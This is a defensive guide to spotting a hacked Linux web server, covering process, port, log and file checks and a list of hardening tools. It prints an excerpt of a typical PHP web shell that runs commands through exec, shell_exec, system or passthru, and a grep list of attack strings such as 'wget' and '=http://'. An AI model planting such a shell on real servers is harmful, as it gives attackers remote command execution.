Some tips to find out if a web server was hacked

As soon as an unusual behaviour of a web server is noticed or it is even clear that it was hacked it must be audited. This has to be done until it is certain that the security hole(s) have been found. The following list of tips is neither complete nor does it guarantee that you can definitely decide wether your server was hacked or not. It will just give you information where to start the investigation!
At the end of the article you find a list of software which help to prevent linux systems from being compromised.

1) Use 'ps aux' to look for any suspicious running processes. Examine all processes. Sometimes the names of such processes are put in parentheses to "hide" them so that you may oversee them at first sight.

2) Especially examine all strange processes which are running under the www user of your system.

3) Check also if important processes are not running, the system logger for example.

4) Use 'netstat -tulpen' to check for unknown open ports at 'Local Address'. Scan your system with nmap from outside and compare both results.

5) In general, check/grep every available log file of your firewall, mod_security, web server, mail server, IDS, etc. for suspicious records. This must be done also up to several months before the current date. Because the a hacker may enter your system but will wait a period before he/she exploits it.

6) Especially grep all Apache web log files for "wget", "fetch", "shell", "=http://" and similar suspicious strings.

7) Any unusual behaviour of the whole system or single applications may indicate intrusion attempts. For example the following parameters should be examined: disk usage, uptime, CPU load, memory consumption, traffic, mails being sent, etc. Also look for crashs and hang-ups of applications in their logs.

8) Scripts of attackers on web servers are often put into /tmp or /var/tmp. So it is necessary to grep all files there for script code. Here is an extract of such a typical PHP script:

...
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
...

Sometimes these scripts have been obfuscated. You see source code but variable names, function names etc. have long and confusing names or consist only of digits, indention and new lines are removed etc.

9) Check the system for manipulated files, rootkits, etc. with rkhunter. Don't forget to download the most actual data before you start the scan (rkhunter --update).

10) Examine all uploaded images and files for source code. Some hackers upload images which actually are source code files. Examine all files with unusual file names.

11) Grep all files below the web server directory for typical phishing content like 'paypal', 'ebay' etc.

12) Hopefully you are using something like Aide or Tripwire. Then you can check if important system binaries like "ps", "top", etc. have been manipulated.

13) Check /etc/passwd, /etc/shadow and /etc/group for strange or missing entries.

After all the system level the attacker has reached decides on the measures. If he/she was just able to run a process and open a port as the www user of the system it may be enough to fix the causing security hole, remove the script and kill the process. If the system already runs a rootkit you should consider formatting the whole disk and setup the server from scratch.

Delegating the server audit to professional security specialists is an option that may save time and money.

Of course it is better and more productive to invest resources in protecting a system before. Some methods are easy to deploy and nevertheless enhance the security dramatically (e.g. ModSecurity). Others are extremely complex and may not focus on your actual thread scenario (e.g. SELinux). Some suggestions:
sudo
Suhosin
PHPsuexec
Cacti
ModSecurity
Nessus
Iptables
Virtualization (xen, vserver)
Aide
Snort
Grsecurity
SELinux

Apache hardening
IDS/IPS systems with Snort
SELinux Training